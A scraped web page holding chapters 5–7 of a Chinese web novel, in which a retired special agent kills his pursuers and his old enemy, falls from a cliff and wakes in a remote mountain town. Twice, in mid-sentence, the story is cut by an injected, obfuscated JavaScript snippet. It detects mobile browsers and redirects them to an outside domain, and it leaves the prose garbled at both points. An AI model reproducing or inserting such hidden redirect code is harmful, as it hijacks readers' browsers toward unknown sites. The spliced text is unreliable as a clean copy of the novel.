“太招人喜欢的姑娘都是祸水,就为了她,我和一个傻逼从小打到了大,单挑群架都干过,他带着一帮小流氓把我堵在胡同里,拿钢管打断过我一条腿,骨折,住了一个暑假的医院,险些瘸了,出院以后,我又单枪匹马地一板砖把他拍成了脑震荡,他脑门上缝了六针,终身破相,从那以后,那傻逼就变本加厉地嫉妒我长得比他帅,我干什么他就要干什么,哪都有他,好像不压我一头他就睡不着觉。” 褚桓微微抬了抬手里的军刺,冰冷的刀刃轻轻地触碰霍辉的下巴,他仿佛能嗅到那槽里逼人的血腥味。 褚桓:“后来你猜怎么了?” 叛徒嘴里还塞着抹布,就算猜出来了也说不来。 褚桓轻描淡写地说:“后来打鬼的时候,我有一次险些暴露,他和几个兄弟为了掩护我……” 他话音陡然止住,微微垂下眼睛,嘴角一瞬间绷紧成了一条拉直的线。 “我最后终于被那傻逼压了一头,还得把他的猫祖宗养老送终。”褚桓在霍辉的满头冷汗下,淡淡地移开了视线,透过衣冠禽兽标配的眼镜片盯着自己的怀表,好像是有一点漠然,又有一点心不在焉,“哎,我就想不通,你为什么会给大鬼卖命呢?你比傻逼还傻逼吗?” 霍辉当然没有办法回答,他惊惧地盯着褚桓清俊的侧脸,以为他打算在这个地方把自己千刀万剐——褚桓自从退了后,就不怎么出现在他们视线里,霍辉对他并不熟悉,然而这不妨碍他听过这个人的传说……可怕的传说。 “小鬼曾经得意洋洋地跟我说过,他说他们这些人之所以无法被战胜,就是因为他们坏得无所顾忌,能无不用其极——”褚桓微微点了点手指,军刺在叛徒的脖子上发出凛然的光,“不过后来小鬼被我废了一条胳膊两条腿,你呢,又被我五花大绑到这,我有点不知道他说的是对还是不对。” 他说到这里,缓缓地抬起头,看着霍辉森然一笑,连眼镜片也抵挡不住他犹如化为实质的杀意。 这山有多高,他的杀意就有多浓重,被五花大绑的叛徒一瞬间脑子一空,他被笼罩在那股杀意里,几乎以为自己已经死了。 5. 序章 褚桓 但是褚桓什么也没有做,只是意味不明地盯着霍辉看了一会,低声说:“怕什么?我又不动你,动了你就成违法乱纪了,我这个人一向很老实,什么时候违过纪?” 霍辉哆嗦起来,起了一身鸡皮疙瘩,活像是要抽羊角风。褚桓当然不能让他抽,于是抬手一捏他的后颈,把他捏晕过去了。 褚桓面无表情地端详了他片刻,又谨慎地从怀里摸出一个注射器,把强力的麻醉药物注射进了对方的身体里,保证他彻彻底底、不留余地地晕过去。 这时,他才抬头看了看湛蓝的天空,仿佛透过如洗的碧空,他能和什么人遥遥对视似的。 褚桓拿起自己的军刺,放在眼前端详了片刻,苍白的手指掠过三棱的刃,不自觉地轻轻颤抖了起来——是要将什么人千刀万剐才能平息的颤抖。 他忽然狠狠地把军刺往霍辉身上戳去,可是手下得狠,收回来更狠,执军刺的手上青筋狰狞,褚桓接连在霍辉身上连戳了十八个洞。 霍辉的衣服被戳出了十八个破洞,而褚桓居然说到做到,始终连那叛徒的油皮也没有蹭掉一块。 打鬼行动中,褚桓叫得出名字的兄弟,一共死了十八个。 大鬼生性多疑,他的潜伏生涯如履薄冰、举步维艰,是这十八个兄弟一滴血一滴血地给他把路冲开保驾护航。 而他们把命交给他,他却没能圆满完成任务,让大鬼一跑就跑了三年。 “我他妈居然还有脸活着。”褚桓漠然地想。 这个念头甫一冒出,褚桓就有种胸口野马脱缰、要把他一颗心五马分尸的感觉,他狠狠地一咬舌尖,同时扣住中指上的素圈戒指,冰冷的触感与舌尖上的铁锈味一起堪堪拽住了那根缰绳——这不是伤春悲秋的时候。 褚桓把手探入叛徒霍辉的衣襟里,将这人从头摸到了脚,最后在霍辉的脚踝后面摸到了一块创可贴,褚桓目光一凝,小心地把它揭了下来,只见那创可贴背面黏着一个很小的信号发射器。 幸好他先下手为强地把这家伙的四肢关节卸了,否则没准被他把信号发出去了。 信号器轻得像一片纸,在未开启状态,有四位数密码。 褚桓收好怀表,只见镜片上的红点开始聚拢了——他们很可能已经发现车里没人了。 “一到关键时刻我就没有后援,我是命犯天煞孤星么?”褚桓心里嘀咕了一句,“那就瞎猜一个吧。” 他这么忧伤地想着,动作却十分果决,几乎是毫不停顿地输入了一个日期数。 那是“打鬼”收网的那一天,那天,“褚桓”这个身份重见天日,“两只鬼”从此分崩离析,距今已经三年了,一千多个日夜。 密码正确—— 信号器瞬间开启,几秒钟之内,就把定位信息发送到了周围所有人手里,褚桓竖起衣领,挡住了半边脸,身形一闪,就钻进了山林中。 猜对了。 那大鬼一定夙夜难安地想要扒他的皮、抽他的筋、吃他的肉,一想到这个,褚桓就像一只闻到了血味的豹子,诡异地兴奋了起来。 他的心情方才还如堕深渊,忽然一下又直冲云霄——这很不正常,褚桓当然明白,然而此时此刻,他是需要这种兴奋的,他需要让自己的血不计后果地沸腾起来,他需要自己的心口还有一点杀伐将起的灼热。 内应的信号发射器突然打开,敌人虽然不明所以,但立刻闻风而动。 褚桓头也不回地闯进密林,毫不停歇,转手把信号器黏在一棵树上,闪身躲在一棵树后,脚步尚未站稳,第一个猎物已经出现在了视野之内,向着贴着信号器的大树跑来。 褚桓利索地装好消音器,仿佛未经瞄准,抬手一枪,正中对方脑门,那人一僵,悄无声息地软倒了下来。 没等他完全落地,一双手已经被飞快地将他拖进了树丛里,这尸体新鲜出炉,尚有余温。 一个。 接着,褚桓如法炮制地撕下死人身上的信号器,贴在树根处,双手攀住一棵大树的枝杈,居高临下地潜伏在那里,好像已经和树叶树枝融为了一体,一点声气都没有,两个人在同伴的掩护下并肩过来,不出意外地看见了树丛中的尸体…… 他还没来得及发出示警,看不见光的利器已经自他后颈穿过,三棱的尖刺在伤口中“嘎啦”一转,血雾喷起一尺多高,而后褚桓抬手两枪,一枪结果了一个,下一刻,他整个人缩成一团,就地滚开,避过一连串的冷枪。 四个、五个、六个…… 这不是角逐,是一场暗杀,褚桓只要开枪,必有人倒地,全部都是一枪正中额头,绝无脱靶,他像一只光天化日之下的鬼魅。 十三、十四…… 褚桓腿上骤然一软,直直地从树上摔了下去,剧痛下一秒才传来——小腿被打穿了。 打中他的人早就已经被褚桓吓破了胆,比被打中的还要战战兢兢,那人举着枪,又连连在落到树下的人身上开了好几枪,确定对方不动了,才深一步浅一步地缓缓靠过来。 死了么? 打死褚桓,能从老大那得到什么? 那人却不敢狂喜,因为方才那脊背生凉的战栗感还没有散去。举着枪的人不由自主地停下了脚步,缓缓地蹲下来,又等了片刻,没有动静,才壮着胆子,伸长了胳膊去够那面朝下的尸体。 尸体被翻了过来,黝黑的皮肤,东南亚的血统,这是……这是他的一个同伴! 他的恐惧还没来得及蒸腾,颈子上已经掠过了一层凉意,他看见了一双指缝间浸满了血的手。 军刺锋利的棱刃抹了他的脖子。 第十五个。 褚桓的裤脚已经被血染透了,但他不怎么感觉得到疼,极具上升的肾上腺素好像已经封闭了他的痛觉。他侧身把自己隐藏在另一棵大树后面,舔去嘴角溅上的血。 大鬼呢? 久违的宿敌,打算什么时候出来叙叙旧? 褚桓静静地掐算着时间,后脑靠在树干上,五分钟过后,他忽然笑了——眼镜片上忽然跳过两条信息。 “全体擒获,未造成人员伤亡。” “缴获第二批非法军火。” 事先埋下的陷阱抓住猎物了。 再过一会,恐怕大鬼必须面对后援全断的窘境,这种时候,那么他会第二次跑吗? 褚桓相信,但凡有一点可以东山再起的把握,大鬼就绝对会脚下抹油,可是……如果他已经山穷水尽了呢? 这时,褚桓的眼镜片上跳出了一个新的光点,这意味着附近有一个新的信号器打开了,在与他本人距离大约一百米的地方。 光点亮起来的一瞬间,褚桓整个人情不自禁地深吸了一口气,随即死死地咬住了牙。 太兴奋了,他简直都怀疑自己是嗑了药,近乎情难自已的兴奋。 三年沉沦,再次短兵相接—— 那光点一动不动,好像是在等着他。 忽然,一声枪响了,随后是撕裂一般的惨叫,尖而细,听起来有点像是没长大的女孩子。 褚桓一只手拎着枪,缓缓地动了,这时,树木和石头都是他的隐形法宝,他像一只大猫,落地无声地穿梭在树丛里。 大鬼惯于幕后指挥,绝不现身台前,此时如果不是山穷水尽,他不会露面。 同时,褚桓也相信大鬼眼下只有一个人,他本性多疑,褚桓的存在更是打碎了他这辈子的最后一点信任,他会指挥协调好截杀的人和接应的人,但是不会让第二个人知道他本人就在附近。 褚桓一边飞快地思量着一边小心地靠近过去,接着,他就看见了一个小女孩。 小女孩十四五岁,长发乱七八糟地垂在胸口,被高高地吊在一颗大树上,大腿被子弹打穿了,正汩汩的流着血,她仿佛已经晕过去了,不知道是死是活。 大树一面临山崖而生,格外显眼,背对着山崖的一侧绑着女孩,地面有一排竖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088618|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来的三棱刺,那些尖刺虽然比不上褚桓腰间挂着的这一把,但是戳到细皮嫩肉的小姑娘身上,也是一戳一个四平八稳的血窟窿。 她只要掉下来,就会被无数根三棱刺捅成筛子。 而吊着女孩的绳子中间一截被浸了火油,正烧着。 灵长类动物用脚趾头想也知道是个陷阱,褚桓简直想要仰天叹气。 可是他能袖手旁观吗?不可能的——他又不是小鬼。 那个小姑娘,此时已经不仅仅是个小姑娘,她是大鬼摆在他面前的嘲讽——只有烂进了骨子里的人,才无法战胜。 “刚说完的话就被人打脸,啧。”褚桓叹了口气,下一刻,他从怀里取出一个改良版的烟雾弹,准确无比地扔进了三棱刺阵里。 “呲啦”一声,巨大的烟雾腾起。 就在这时,吊着女孩的绳子断了。 褚桓从以让人看不清地速度冲了出来,踩上了大树的树干,整个人几乎是腾空而起,他一抬手将军刺刺进了大树树干里,横转半圈,准确地捞住了女孩的腰,以卡在树干中的军刺为轴,飞快地转了半圈,纵身跃上树杈,躲开了一记角落里打出来的冷枪。 同时,他已经锁定了放枪人的位置。 有一处的树叶动了一下。 电光石火间,褚桓把姑娘搭在自己肩头,手上的扳机已经扣动,消音器已经摔掉了,一声枪响惊起了无数飞鸟。 随后是,万籁俱寂。 那一刻不知有多长,仿佛一切置于慢镜头下。 而后,一个尽管经过了伪装、却是哪怕化成灰褚桓都认得的人缓缓倒下,暴露在天光之下,死了,死法依然是一枪爆头。 是大鬼。 褚桓整个人踉跄了一下,险些从树上栽下去,不是因为狂喜,不是因为遗憾,更不是对这个冷血无情的恐怖分子有什么感情……只是他觉得自己的身体仿佛又轻了两分,轻得他险些失去了平衡。 就一瞬间的怔忡,让他在感觉到不对劲的时候已经晚了。 又一声枪响。 褚桓只来得及把肩上的女孩狠狠地推开,勉强避过要害,一颗子弹已经穿透了他的肩膀,那冲击力将他狠狠地往后一搡,他看见少女蓬乱的头发中露出了一张无比怨毒的脸。 楮桓骤然愣住。 小姑娘已经失手,方才偷袭的瞬间,她手中的枪就被褚桓下意识地闪避撞飞了,落到了山崖之下。她彷徨地看了一眼自己空了的小手,又带着森冷的恨意看了楮桓一眼,转过头去,对着大鬼的方向尖声喊:“papa!” 她是大鬼的……女儿? 这都是什么禽兽不如的东西! 褚桓震惊之下没来得及动作,那小女孩已经纵身从树枝上跳了下去,“噗嗤”一声,年幼的身体被地上的三棱刺从脚穿到了额头……楮桓本能地伸手去拉,却只扯下了她的一小把头发。 血迹原地铺展开来,像一块充满恶意的红毯。 褚桓茫然地看着少女狰狞的尸体,忽然被熟悉的恍惚感笼罩,不自觉地往后退了半步,一声轻响,脚下的树枝终于承受不住这样大的压力,断了。 他一伸手攀住了另一侧的树枝,大树另一侧是山崖,他双脚已经悬空,将自己吊在了山崖之上。 褚桓一侧的肩头已经被血染透了,裤子上的血则已经干涸了一批,可是对于王牌特工而言,哪怕是比这再重十倍的伤,他把自己吊上去也不比磕一把瓜子多费什么功夫。 然而就在那一刹那,他却忽然五内成灰般的身心俱疲,方才爆发的兴奋感潮水一般的褪去,让他变本加厉地累起来,累得他一根手指都抬不起来了。 褚桓抬起头看着自己抓住的大树枝干,看着叶子遮遮掩掩中露出了一角的天空,眼神空得一无所有,他感觉整个蓝天都在旋转,视野中一切都扭曲了。 他觉得自己仿佛是被鬼上身了,等回过神来的时候,他已经松手掉了下去。 6. 现世 行驶中的大巴车沿途经过了几个县城与小镇,鸡飞狗跳的旅客们逐渐下光了。 等到经过最后一个小镇的时候,车里的乘客就只剩下了两个人,一个戴眼镜、学生气有些重的青年,还有一个上了车就一动不动地在最后一排睡觉的男人。 司机下车方便了一次,回来扯开嗓门,操着一口口音浓重的普通话对车里的两个人说:“哎,要下车的可以在这下了,前头要进山了,再到站要开七个多小时咧,坐过了站你没地方下车喽。” 青年坐在门口,双手抓着一个风尘仆仆的大行李箱,看起来有点局促不安,仿佛是想下车,又有点犹豫不决,瞻前顾后的样子,活像他站在自己人生的十字路口上。 过了一会,他细声细气地司机:“师傅,那住在山里的人出来一趟不是很不方便?” 司机大喇喇地说:“我们不去乡下,就到县城,县城嘛当然还好喽,那边有一个山,你听说过吗,有溶洞的……” 青年心不在焉地摇摇头。 司机抓了抓鸟窝头:“唉,我也记不得叫什么了,反正是个旅游景点,有好多城里人一车一车地去玩,人还挺多的。” 青年哆哆嗦嗦地问:“那、那村里呢?” 司机:“哎哟,一个县城下头不知道有多少个乡,一个乡下面不知道有多少个村,跟那个羊粪蛋蛋一样的嘛,到处都是,从村子去县城一般没的车坐,自己赶驴车,要么爬山,爬不好那个脚一滑,嘎嘣,就摔死了嘛!” 男青年听了“嘎嘣”这个凶残的拟声词,顿时面无人色。 司机不愧是盘山路上跑的,一张嘴百无禁忌:“还不要说走路,就说从我们这里去那边的县城,下一点雨哪个敢走哟,山上掉下来石头一砸,嘎嘣,咱们就一起死掉了嘛。要么哪个地方存下点泥巴,路滑也没个人扫,一不小心车头冲出山崖,嘎嘣,咱们又一起死掉了嘛……” 司机可谓是口齿伶俐,短短三言两语,已经死去活来了三回,男青年终于被这一番话说得崩溃,拎起他的大行李箱,屁滚尿流地下车跑了。 司机自己直乐:“这个城里来的小白脸,比兔崽子跑得还快——哎,我说后面那个小伙子,你肯定是要坐到那个沟沟里的县城对吧?不下车我们可就走了!” 最后一排的男人一声不吭,好像已经睡死了。 他穿着一件深色的风衣,领子竖得很高,几乎挡住了整张脸,看不大清长什么样子,身量颀长,一只手露在外面,中指上带着一枚铂金戒指,他的手指修长,但苍白得很,无论是形容相貌,还是这身衣着打扮,他都不像山里人。 别看老司机是个常年跑长途的油滑汉子,其实遇到单独的一个或一伙年轻男人搭车,而车程又长,又没有其他的乘客,他心里也总免不了毛毛的。 司机万分迟疑地发动了车子,依然试图和后座的人搭话:“小伙子是探亲吗?” 没有回答。 司机讪讪地转过头,不敢再开口问了,他默默地按着既定路线,把车开了出去。 长达数个小时的盘山道车程,从天亮开到了天黑,最后一排的乘客既没有起来过,也没有要求下车上厕所。 中间有几段路况不佳,极其颠簸,那位乘客整个人被弹起来,一头撞在车窗上,发出“咚”的一声,继而又被安全带绑回椅子上。他低吟一声,可是行车过程中噪音太大,司机没听见。 直到暮色深沉,长途大巴才终于抵达了目的地。 老司机和旧大巴一样疲惫不堪,他把车开进停车场停稳,这才壮着胆子,走到最后一排,去叫那位一动不动的古怪乘客。 司机试探着拍了拍他的肩膀:“小伙子?小伙子到站了……这睡得也太死了。” 男人先是毫无反应,被推搡了好几下,垂在一侧的手才抽搐似的挣动了一下。 “醒神了,到站啦。”老司机在他耳边大叫,“快下车吧,都要饿死个人了。” 最后一排的乘客挣扎着坐正,吃力地解开安全带,微微活动了一下,他四下一望,眼神顿时有些迷茫,一脸不知今夕何夕的模样,仿佛是睡懵了。 片刻,乘客摘下了鼻梁上的眼镜,低头用衣角擦了擦,眼神也终于清明了过来,他撑住前排车座靠背的手上露出了嶙峋的筋骨,似乎是用尽了全身的力气才勉强站了起来,同时尽可能地压抑着自己的呼吸,不让气息显得太粗重。 “睡得手脚都麻了吧,”老司机看清了他的长相,觉得这人模样不错,还怪斯文的,不像什么坏人,于是放下心来,一边嚷嚷一边查看行李架,“哎,你的行李呢?在下面吗?还是放在这被谁不小心顺走了?” 乘客哑声开了口:“没带……咳,行李。” 他说了两个字几乎破音,好好清了清嗓子才续了下去。 老司机一惊一乍地说:“咋个没带呢?你一个人跑这么远,咋个没带行李呢?” 乘客沉默了一会,用十分虚弱的声音说:“不瞒您说,我修炼了整整二百五十年,是专程出来渡劫的,不成仙就成鬼,所以没带行李。” 司机:“……” 司机本应知道对方在开玩笑,可是那乘客说完,侧头对他一笑,他看见这小伙子脸色一片青白,双颊憔悴,眼镜片反光,整个像个幽魂,再慢悠悠地这么一笑,顿时就鬼气森森了起来,司机当场起了一身鸡皮疙瘩,几乎信了对方的鬼话。 他白天吓唬小青年的百无禁忌顿时荡然无存,小心翼翼地问:“那您是怎么瞧上我们这的呢?” 乘客侧身与老司机擦肩而过,用一种低沉而飘渺的语气说:“山清水秀……嗯,有点香。” 老司机敏锐地从他身上闻到了一股血腥味,这回脸色是真变了,连话也结巴了起来:“大、大大仙,什、什么东西香?” 乘客回过头来,司机生怕他说出“我已经五百年没吃过这么香的人肉”之类的话,当时吓了个两股战战。 可乘客只是看了他一眼,轻轻地笑了笑,微微低下头,把下巴缩进风衣领子里。 “可能是桂花开了。”他说。 这乘客正是褚桓,他吊在树上时不幸犯了脑残病,不知怎么的松了手,就这样踏上了武侠小说中主角成为绝世高手的第一步——光荣坠崖。 褚桓从山崖上滚下来,滚出一身青紫,还把脚腕滚脱了臼。 幸运的是,他和天下所有准大侠一样,皮硬血厚耐摔打,没死。 不幸的是,山下没有一个姓公羊的世外高人等着把毕生功力传给他,只有一群真正的公羊遭到了惊吓,咩咩咆哮着奔腾而去,其中一只还毫无同情心的用铁蹄践踏了他的伤口。 褚桓不知道在原地躺了多久,才重新有了点力气,他凄凄惨惨地挂上踝关节,草草处理了伤口。 褚桓简直不知道以后该怎么跟别人说这件事——他究竟是掉下来的,还是自己跳下来的呢? 他比较来比较去,认为这两个说法中的哪个都挺丢人,感觉这真是他人生中最浓墨重彩的一笔黑历史,褚桓决定要把这个秘密带到棺材里,因此并没有急着联系老王他们。 恢复了行动能力后,褚桓第一件事就是先抬手给了自己一巴掌——说话不算数,什么玩意。 在疼痛的刺激下,他的求生意志和心理状态终于晃晃悠悠地回到了正常水平。 他找了木板固定住自己的腿,又拖着被打穿的肩膀,用一根烟提了提神,追随着三三两两相映成趣的羊粪蛋,徒步走了几公里的山路,总算找到了有人的地方。 褚桓编了几句遇到意外翻车的瞎话,成功取得了当地农家的信任和同情,跟人家借宿了一宿,洗干净自己的灰头土脸,翻出随身的一小袋简易急救包,把伤口挨个处理了,略略做了休整,这才跟当地人打听清了交通方式,搭了一个老乡的牛车走了十里八村,最终坐上了这辆通往最近的县城的大巴车。 褚桓本打算在第一个县城下车,下车后随便找个住的地方,先把自己安顿下来,再联系人来接,他要把自己伪装成尽管经过了一场恶战,却依然游刃有余的模样。 山崖上失控的一瞬间,褚桓终于不得不承认,他可能确实是出了什么问题。 三年的退休生涯,褚桓过得像服刑,私人朋友基本没有,联系人只有老王、褚爱国和护工三个,身边十天半月地不见活物,他就十天半月地不开口说话——可能同居的猫也勉强能算是个伴。 但是褚桓看得出来,那猫跟他不亲,甚至有点怕他。 褚桓不明白自己有什么可怕的,他虽然没有跟猫坐在一起交流人生感悟的癖好,却也从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088619|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有虐待过它,原主人给它吃什么,他就给它吃什么,它刚来的时候在陌生环境里很不安,有一阵子总是在屋里四处乱窜,没少打碎东西,褚桓也都只是默默打扫,从没有呵斥过——他觉得这家伙是只老猫,既然上了年纪,总要给它留点面子。 可惜还是不行,反正他从来没有见过养宠物养得比室友还泾渭分明的。 “我的猫死了,临死之前搭理了我一下。”褚桓在颠簸的大巴车上,心里忽然冒出了这个念头。 他就像个反应迟钝的人,好几天过去了,才刚刚想起他埋下去的小小尸体是怎么回事。 失血让他浑身发冷,在莫名的情绪低落中,褚桓靠在四处漏风的大巴后座睡着了。 颠簸中,褚桓的伤口开裂,他没想到,自己昏昏沉沉地这一觉,就一直睡到了大山深处的终点站,自己也不知是坐过了多少站。 他头重脚轻地下了车,初秋夜里的山风吹得他一哆嗦,四下环顾,只见这所谓的“车站”,原来也就是个大一点的空地,旁边竖着一个已经看不见字迹的站牌,车站里还停着其他几辆旅游大巴模样的车。 据说这附近有个不大不小的山水景点,开发进度不佳,交通不便,需要在这个县城里转车,因此这穷县僻壤的小小县城,人流量居然还不小,很有一番自己的热闹。 褚桓倒也想得开,现在对他而言,哪个县城都一样,过站就过站吧。 他抬头一看,只见车站附近有个挂着“招待所”字迹的建筑,算是周围档次较高的了,仨字上还缠着那种比较复古的霓虹灯,灯坏了一多半,远看就只剩下“召寺”俩字,仿佛是个上香的场所。 褚桓抿了抿干涩的嘴唇,向招待所的方向走去,他感觉自己急需一大杯淡盐水。 忽然,他听见有人出声叫住了他。 此时褚桓眼已经开始有点花,闻声一偏头,只见那站牌旁边站着两个男的,个子都很高。 叫住他的汉子有四十来岁,手里捧着个硬纸牌子,眼大如牛,杂草似的乱发编了一条长辫子,垂在胸口,如果忽略他须发丛生如李逵的脸,单就这打扮,让褚桓想起了一句歌词——“村里有个姑娘叫小芳,长得好看又善良,一双美丽的大眼睛,辫子粗又长”。 只不过这位的神色很是紧绷,眼神也不大友好,像是个改行劫道的小芳。 而另一个人却很年轻,站得稍远,由于褚桓的视野已经不很清晰,他看不大清楚那个人模样,只见他长发如黑幡,随风微动,让人看着心生恍惚。 这两人都在站台边上,应该是接人的,但是此时天色已经很晚了,车站也跟着人气稀疏,方才只有一班车进站,而那一班的乘客只有褚桓自己。 “小芳兄”率先向他走来,此人五大三粗,大脸如盆,是个居家镇宅的妙方。 不知此人是来自哪个山沟的,普通话基本是外星人的水平——如果是地球友邻,纵然话听不懂,一些肢体语言还是国际通用的,可是对方叽里呱啦说了一大堆话,褚桓只懂了最开始的那个瞪视。 那个瞪视的含义大约是:“奶奶的,让老子等你等这么长时间,你怎么没死在半路上?” 两人大眼瞪小眼地站着,陷入了无法交流的窘境。 忽然,“小芳兄”想起了什么,把手里的硬纸板塞给了褚桓,讨债一样地板着脸瞪着他,用指节敲了敲纸牌上的字。 褚桓用力眨了眨疲惫的眼睛,只觉得字认识他,他不认识字。 他知道自己已经是强弩之末,不好再和这位少数民族兄弟纠缠下去,于是艰难地挤出一个有点难看的笑容,伸手指了指纸板,又伸手指了指自己,摆着手摇摇头——您老认错人了。 “小芳”一愣,见他不理自己径自往前走,刚要抬手去拍他的肩膀,目光却忽然一凝。 这位少数民族兄弟不知是从事什么职业的,夜视力好得很,这么黑灯瞎火的地方,居然准确地分辨出了褚桓那深色的外衣上不明显的污迹是一大块血迹。他低声对身后的同伴说了句什么。 就在这时,褚桓脚下忽然踉跄了一下,他终于再也撑不住,一头栽了下去。 迷蒙中似乎有什么东西托了他一下,褚桓最后的余光瞥见了一把长发。 夜色中,传来一股悠远而渺茫的桂花香。 7. 现世 褚桓醒过来的时候没有动,也没有改变呼吸的频率,他本能地先展开五感去揣摩周围的环境,后来回过神来,又觉得没什么必要,他发现自己的被迫害妄想症越发严重了些,这是太把自己当回事的先兆,不好,得及时打住。 同时,褚桓后知后觉地感到了身体的难受。 他应该是发过烧,乏力得很,一身伤口,也分不出是哪疼,反正哪都疼,可能是为了包扎伤口,上衣被人扒了,他眼下正躺在一张不怎么舒服的床上,被子上有股潮味。 褚桓把自己的大脑放空了片刻,正视了老王的意见,眼下大鬼死了,小鬼就擒,他一桩心事了了,理应去找点事做,这个世界上有那么多的事需要人去做,四海不清,江河不晏,无数人花了无数心血成就了如今这么一个褚桓,他要是整天顾影自怜,那还有人样子吗? 可他又该做什么呢? 最经济的应该是从哪来回哪去,但是一想到他在山崖上松手的那个怂样,褚桓又有点担心自己会拖累别人。 也许回去以后真的应该去找点药吃。 这时,他听见耳边有人用什么东西吹起了一段很特别的小调。 疼痛会让人烦躁,褚桓知道自己容易陷入抑郁,于是尽可能地把注意力集中在别的地方,他不由得凝神侧耳,仔细地听着那乐声,猜测可能是某种叶笛。 吹笛人的肺活量肯定很惊人,气息绵长而有力,笛声圆融悦耳。 嗯,窗外似乎还下雨了。 褚桓其实没什么文艺细胞,欣赏音乐基本上是“会哼几首流行歌曲”的水平,可是此时的小调却仿佛有了某种魔力,他不由自主地陷进了那曲声里。 笛声被雨水浸润,一口呼进去,人好像躺在旷远的山坡上,侧头就能闻见满地绿草的馨香。 奇迹般的,一直盘踞在褚桓身上纠缠不去的萎靡与倦怠被安抚了,一时片刻后,他居然体会到了某种久违的愉悦感。 不是兴奋,是愉悦。 其实如果是正常人,可能睡一个午觉、晒一会太阳、看一本书或者跟朋友聊几句闲话,都会很容易地体会到那种平静而放松的愉悦,然而这对褚桓而言却是一种奢侈,那一阵小曲勾起的快乐感就像黑暗中一簇乍起的火花,耀眼极了。 褚桓忍不住缓缓睁开了眼睛。 他首先看见了车站碰见的那个“小芳”,小芳正蹲在墙角熬一锅不知是什么的草药,表情依然是愤愤不平的,青天白日下,他的浓眉大眼越发凸显,横眉立目的面部细看颇有点说不出的熟悉——褚桓一动不动地端详了片刻,确定此熟悉感来自“愤怒的小鸟”。 随后,他的目光转向吹笛子的年轻男人。 那人的穿着堪称是“奇装异服”,只见他赤着上身,套着一件旧得掉色、松松垮垮的西装马甲。褚桓长这么大没听说过谁把西服马甲当T恤穿的,那玩意可什么都遮不住,一眼扫过去,那人胸口手臂乃至精壮柔韧的腰线全都一览无余,诡异的图腾布满了他的手臂后背,在松松垮垮的马甲下半隐半露的,一把垂在了腰间的长发在他背后松松地一束。 他就像个化外的野人,随手在垃圾堆里捡了件衣服,套在身上就直接穿进了城。 可是他长得又十分俊秀,那是一种浑然天成、不着修饰的俊秀,五官轮廓无不恰到好处,当他手执一片叶子临窗而立的时候,整个人显得干净又磊落。 这样一来,那身诡异的打扮非但不可笑,反而让人有种“这是一种大胆的新时尚”的感觉。 那年轻人原本是面朝着窗户,侧对着床,而褚桓才睁眼一动,他就察觉到了,转过头来。他的眼角斜斜地飞起,嘴边眉梢布满了灿烂的笑意。 他看起来就像是野外森林中一棵向阳而生的树,腰身挺直,枝繁叶茂,整个人散发着勃勃的生命力,鲜活的横冲直撞地入了褚桓的眼。 那一瞬间,褚桓清清楚楚地听见了“咯噔”一声。 他感觉自己死气沉沉的心忽悠一下,仿佛是动了。 褚桓觉得这件事匪夷所思,认为自己心动得毫无道理,忍不住暗搓搓地自我唾弃:“江湖谣言不是说我是性冷淡么,没事瞎动什么?真是岂有此理。” 他不由得有几分尴尬,不过很快掩饰住了,褚桓一边缓缓地爬了起来,一边调整自己的心理状态,心想:“男色也是色,虽然不好这口,也没说不让欣赏嘛。” 他这一起来,才注意到自己身上的伤口已经被重新包扎过了,只是包扎用的东西十分特立独行——那是一种褚桓没见过的植物叶片,巴掌宽,很长,长得整整齐齐,新鲜的,还能闻见植物芬芳的香气。 ……包得挺好,就是有点像粽子。 褚桓抿了抿干涩的嘴唇,勉强笑了一下,对着墙角蹲着煎药的小芳兄充满敬意地多看了两眼,感觉自己是遇上了活体的蒙古大夫。 大概是看出了他口渴,长发男人放下手里的叶片,翻出招待所的杯子,倒了一杯水给他:“喝。” 完事他接过褚桓喝完水的空杯子,又走到一边,拿出了一个小罐子,倒出了一杯黄澄澄的液体,再次递到褚桓面前,笑盈盈地说:“喝。” 这回褚桓抽了抽鼻子,判断出了眼前这杯液体的成分——酒精。 他不由得迟疑了一下,指了指自己,真诚地问:“给我的?” 那长发的美男友好地看着他,用生涩的汉语一个字一个字地往外蹦:“请你,请你喝。” 褚桓:“……” 请重伤员喝酒,真是个特别版的南丁格尔小天使。 有人笑起来显得格外灿烂,大概是他那笑容百分之百的真心诚意,脸上每一个弧度都好像有某种力量,能向别人传递自己的快乐。 褚桓不是煞风景的人,面对这么一张脸,别说是一杯酒,就是一碗砒霜,他也能一饮而尽。 那酒绵长柔和,喝下去应该挺舒服,但不知为什么,里面有股挥之不去的腥气,腥得回味悠长,到最后完全盖住了酒香,让褚桓有种自己喝了一口生血的错觉,胃里有点翻腾。 但是吐出来又不大好,好在他惯于忍受各种不适合人类生存的环境,褚桓眉头也没皱地大口咽了下去,然后面色惨白地逼出一个半死不活的微笑,违心地冲对方比了个拇指。 长发帅哥的表情一下子更加灿烂了,连墙角的小芳兄似乎都在愣了一下之后,面色和善了很多。 褚桓问:“这是传说中的五毒酒?” 这句话可能有点复杂,两个人都没听懂,长发帅哥的脸上露出了一点可爱的迷茫,困惑地眨了眨眼睛。 褚桓只好又问:“怎么称呼?” 还是没懂。 褚桓只好放满了语速,一个字一个字拖长了声音:“我是说,你叫什么?” 